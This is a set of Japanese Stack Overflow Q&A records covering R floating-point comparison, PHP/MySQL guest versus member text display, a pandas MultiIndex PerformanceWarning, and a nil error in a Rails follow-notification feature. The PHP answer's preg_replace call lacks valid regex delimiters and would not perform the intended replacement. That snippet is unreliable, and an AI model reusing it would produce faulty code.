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"body": "タイトルの通りなのですが,Rで0.17 * 10000 ==\n1700の真偽を判定させると,FALSEが返ってきます。以下はTRUEと判定されます(当然ですが…)。 \n1700 * 1 == 1700 \n170 * 10 == 1700 \n17 * 100 == 1700 \n1.7 * 1000 == 1700 \nRが正しく計算できていないように見えるにははなぜでしょうか?また解消法はあるでしょうか? \n追記:0.28 * 10000 == 2800も同様でした。",
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"title": "Rで0.17 * 10000 == 1700がFALSEになる理由と解消法",
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"body": "help メッセージで言及されています。\n\n```\n\n $ R\n \n R version 4.2.2 Patched (2022-11-10 r83330) -- \"Innocent and Trusting\"\n Copyright (C) 2022 The R Foundation for Statistical Computing\n \n > ?\"==\"\n \n :\n Note:\n \n Do not use ‘==’ and ‘!=’ for tests, such as in ‘if’\n expressions, where you must get a single ‘TRUE’ or ‘FALSE’.\n Unless you are absolutely sure that nothing unusual can happen,\n you should use the ‘identical’ function instead.\n \n For numerical and complex values, remember ‘==’ and ‘!=’ do\n not allow for the finite representation of fractions, nor for\n rounding error. Using ‘all.equal’ with ‘identical’ or\n ‘isTRUE’ is almost always preferable; see the examples. (This\n also applies to the other comparison operators.)\n \n :\n Examples:\n \n x1 <- 0.5 - 0.3\n x2 <- 0.3 - 0.1\n x1 == x2 # FALSE on most machines\n isTRUE(all.equal(x1, x2)) # TRUE everywhere\n \n```\n\nなので、以下の様にします。\n\n```\n\n > isTRUE(all.equal(0.17 * 10000, 1700))\n [1] TRUE\n \n```",
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"body": "最終的にやりたいこと \n・Webサービスへのログイン有無で、長い文章の一部分だけ表示内容を変えたい。 \n・未ログイン状態では、氏名を表示しないようにしたい\n\n未ログイン状態で表示したい内容例 \n・町は2日午後2時20分、町内全域に「緊急安全確保」を出しました。 \n・町長は3日午後2時20分、町内全域に「緊急安全確保」を出しました。 \n・4日午後2時20分、市長は市内全域に「緊急安全確保」を出しました。\n\nログイン状態で表示したい内容例 \n・町は2日午後2時20分、町内全域に「緊急安全確保」を出しました。 \n・佐藤町長は3日午後2時20分、町内全域に「緊急安全確保」を出しました。 \n・4日午後2時20分、鈴木市長は市内全域に「緊急安全確保」を出しました。\n\n環境 \n・MySQL \n・PHP\n\n知りたいこと \n・最適なMySQLカラム構成。 \n・各案のメリットデメリットについて、どこに着目すればよいか知りたい\n\n案A.「未ログイン状態で表示するテキスト」と「ログイン状態で表示するテキスト」をそれぞれ異なるカラムへ全文格納。 \n・str_guest / 町長は3日午後2時20分、町内全域に「緊急安全確保」を出しました。 \n・str_member / 佐藤町長は3日午後2時20分、町内全域に「緊急安全確保」を出しました。\n\n案B.「ログイン状態で表示するテキスト」と「未ログイン状態で削除するテキスト」を異なるカラムへ格納。 \n・str /佐藤町長は3日午後2時20分、町内全域に「緊急安全確保」を出しました。 \n・str_del / 佐藤\n\n案C.上記以外",
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"title": "Webサービスへのログイン有無で、長い文章の一部分だけ表示内容を変えたい時のDBカラム構成について",
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"body": "PHP は普段書かないですし、カラムの構成もひとまず置いておきますが…\n\n* * *\n\nほぼ同じ文章を複数保持するのは無駄な気がするので、必要な部分のみを書き換える方法を取ります。\n\n> 長い文章の一部分だけ表示内容を変えたい。\n\n後から「変えたい」部分 = 置換をかけやすいように適当な文字列をあらかじめ埋め込んでおきます。 \n(以下の例では `__MAYOR__` の部分。意図しない置換が発生しないような文字列であれば何でもいい) \n置換したい箇所が少ないなら、単純な `printf` 等でも十分かもしれません。\n\n> 未ログイン状態では、氏名を表示しないようにしたい\n\nログイン状態に応じて変数の値を調整します。 \n以下の例では `$guest` をフラグとして値が定義されているかどうかで切り替えます。\n\n```\n\n $name = '鈴木';\n $mayor = '市長';\n \n if (! $guest) {\n $mayor = $name . $mayor;\n }\n \n $str = <<<BODY\n __MAYOR__は3日午後2時20分、町内全域に「緊急安全確保」を出しました。\n BODY;\n \n echo preg_replace('__MAYOR__',$mayor,$str);\n \n```",
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"body": "# 環境\n\n * Python 3.11.2\n * pandas 2.0.2\n\n#\n\n列がMultiIndexで、列名がソートされていないDataFrameがあります。\n\n```\n\n In [474]: df = pandas.DataFrame({(\"x\",\"a\"):[1,2,3],(\"y\",\"\"):[\"a\",\"b\",\"b\"],(\"x\",\"b\"):[5,6,7]})\n \n In [481]: df\n Out[481]: \n x y x\n a b\n 0 1 a 5\n 1 2 b 6\n 2 3 b 7\n \n```\n\ny列をgroupbyで処理するとPerformanceWarningが発生しました。\n\n```\n\n In [486]: df.groupby(\"y\").sum()\n <ipython-input-486-d2970d0aff60>:1: PerformanceWarning: dropping on a non-lexsorted multi-index without a level parameter may impact performance.\n tmp.sum()\n Out[486]: \n x \n a b\n y \n a 1 5\n b 5 13\n \n```\n\nしかし、以下のコードではPerformanceWarningは発生しませんでした。\n\n```\n\n In [476]: df.groupby((\"y\",\"\")).sum()\n Out[476]: \n x \n a b\n (y, ) \n a 1 5\n b 5 13\n \n```\n\n# 質問\n\ngroupbyに`\"y\"`を指定すると警告が発生するのに、`(\"y\",\"\")`を指定すると警告が発生しないのはなぜでしょうか? \nソートされていないMultiIndexが問題であれば、`(\"y\",\"\")`を指定したときにも警告が発生すると思っていました。\n\n# 補足\n\n以下のブログを書いてるときに、気になった質問です。\n\n<https://qiita.com/yuji38kwmt/items/01180d451c9f2610f624>\n\n[pandasのissue](https://github.com/pandas-\ndev/pandas/issues/new?assignees=&labels=Usage+Question%2CNeeds+Triage&projects=&template=submit_question.yml&title=QST%3A+)には、\n\n> Since StackOverflow is better suited towards answering usage questions, we\n> ask that all usage questions are first asked on StackOverflow.\n\nと書いてあったので、まずは日本版StackOverflowで質問しました。\n\nまたバグではないような気がしたので、まだissueには報告していません。",
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"title": "ソートされてないMultiIndexの列を持つDataFrameに対して、PerformanceWarningが発生するケースと発生しないケースの差は何でしょうか?",
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{
"body": "当該のエラーメッセージは以下の `drop()` メソッドで表示されています。(引用コードの最後の部分)\n\n[pandas/multi.py at 2.0.x · pandas-dev/pandas](https://github.com/pandas-\ndev/pandas/blob/2.0.x/pandas/core/indexes/multi.py#L2205)\n\n```\n\n def drop( # type: ignore[override]\n self,\n codes,\n level: Index | np.ndarray | Iterable[Hashable] | None = None,\n errors: IgnoreRaise = \"raise\",\n ) -> MultiIndex:\n \"\"\"\n Make new MultiIndex with passed list of codes deleted.\n \n Parameters\n ----------\n codes : array-like\n Must be a list of tuples when level is not specified.\n level : int or level name, default None\n errors : str, default 'raise'\n \n Returns\n -------\n MultiIndex\n \"\"\"\n if level is not None:\n return self._drop_from_level(codes, level, errors)\n \n if not isinstance(codes, (np.ndarray, Index)):\n try:\n codes = com.index_labels_to_array(codes, dtype=np.dtype(\"object\"))\n except ValueError:\n pass\n \n inds = []\n for level_codes in codes:\n try:\n loc = self.get_loc(level_codes)\n # get_loc returns either an integer, a slice, or a boolean\n # mask\n if isinstance(loc, int):\n inds.append(loc)\n elif isinstance(loc, slice):\n step = loc.step if loc.step is not None else 1\n inds.extend(range(loc.start, loc.stop, step))\n elif com.is_bool_indexer(loc):\n if self._lexsort_depth == 0:\n warnings.warn(\n \"dropping on a non-lexsorted multi-index \"\n \"without a level parameter may impact performance.\",\n PerformanceWarning,\n stacklevel=find_stack_level(),\n )\n \n```\n\nこの `drop()` メソッドをそれぞれの場合で実行してみると `\"y\"` を指定した場合に当該のエラーが発生することが確認できます。\n\n```\n\n >>> df.columns.drop(\"y\")\n <stdin>:1: PerformanceWarning: dropping on a non-lexsorted multi-index without a level parameter may impact performance.\n MultiIndex([('x', 'a'),\n ('x', 'b')],\n )\n \n >>> df.columns.drop((\"y\",\"\"))\n MultiIndex([('x', 'a'),\n ('x', 'b')],\n )\n \n #\n # \"without a level parameter\" との事なので、level を指定すればエラーメッセージは表示されない\n # (以下のコードが実行されるので)\n #\n # if level is not None:\n # return self._drop_from_level(codes, level, errors)\n #\n >>> df.columns.drop(\"y\", level=0)\n MultiIndex([('x', 'a'),\n ('x', 'b')],\n )\n \n```\n\n理由は、それぞれの場合で `drop()` メソッドの内容を辿ってみると判るかと思います。\n\n##### `df.groupby(\"y\").sum()` の場合\n\n```\n\n >>> codes = com.index_labels_to_array(\"y\", dtype=np.dtype(\"object\"))\n >>> codes\n array(['y'], dtype=object)\n >>> loc = df.columns.get_loc(codes[0])\n >>> loc\n array([False, True, False]) # boolean array\n >>> com.is_bool_indexer(loc)\n True\n >>> df.columns._lexsort_depth\n 0\n \n```\n\n##### `df.groupby((\"y\",\"\")).sum()` の場合\n\n```\n\n >> codes = com.index_labels_to_array((\"y\",\"\"), dtype=np.dtype(\"object\"))\n >>> codes\n array([('y', '')], dtype=object)\n >>> loc = df.columns.get_loc(codes[0])\n >>> loc # int\n 1\n >>> isinstance(loc, int)\n True\n \n```",
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"body": "フォローした際のエラーが解決できなくて困っています。 \nデータがnilとなっていて、どうしてフォローした際にuserのデータが送れていないのかが分かりません。 \n参考にしたサイトとも同様なコードにしているのですが、分かりません。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/p4QIy.png)](https://i.stack.imgur.com/p4QIy.png)\n\n・userモデル\n\n```\n\n def create_notification_follow!(current_user)\n temp = Notification.where([\"visitor_id = ? and visited_id = ? \",current_user.id, id])\n if temp.blank?\n notification = current_user.active_notifications.new(visited_id: id)\n notification.save if notification.valid?\n end\n end\n \n```\n\n・relationshipコントローラー\n\n```\n\n def create\n user = User.find(params[:follow_id])\n current_user.follow(user)\n # ここから通知機能\n @user.create_notification_follow!(current_user)\n # ここまで通知機能\n flash[:success] = 'ユーザをフォローしました。'\n redirect_to user\n end\n \n```\n\n・notificationヘルパー\n\n```\n\n when \"follow\" then\n tag.a(notification.visiter.name, href:users_user_path(@visiter), style:\"font-weight: bold;\")+\"があなたをフォローしました\"\n \n```\n\n参考サイト \n<https://qiita.com/bty__/items/2db1dd4fcd7945b980f7>\n\nバージョン \nRuby on Rails 6",
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"title": "フォローした際の通知機能のエラーについて",
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{
"body": "```\n\n @user.create_notification_follow!(current_user)\n \n```\n\n上記のコードで`@user`が`nil`になっているようですね\n\nここの処理はフォローされた人に`current_user`からフォローされた通知をしようとしている認識でいいでしょうか? \nそれでしたら`@user`の部分は`user`が正しいかと思います。",
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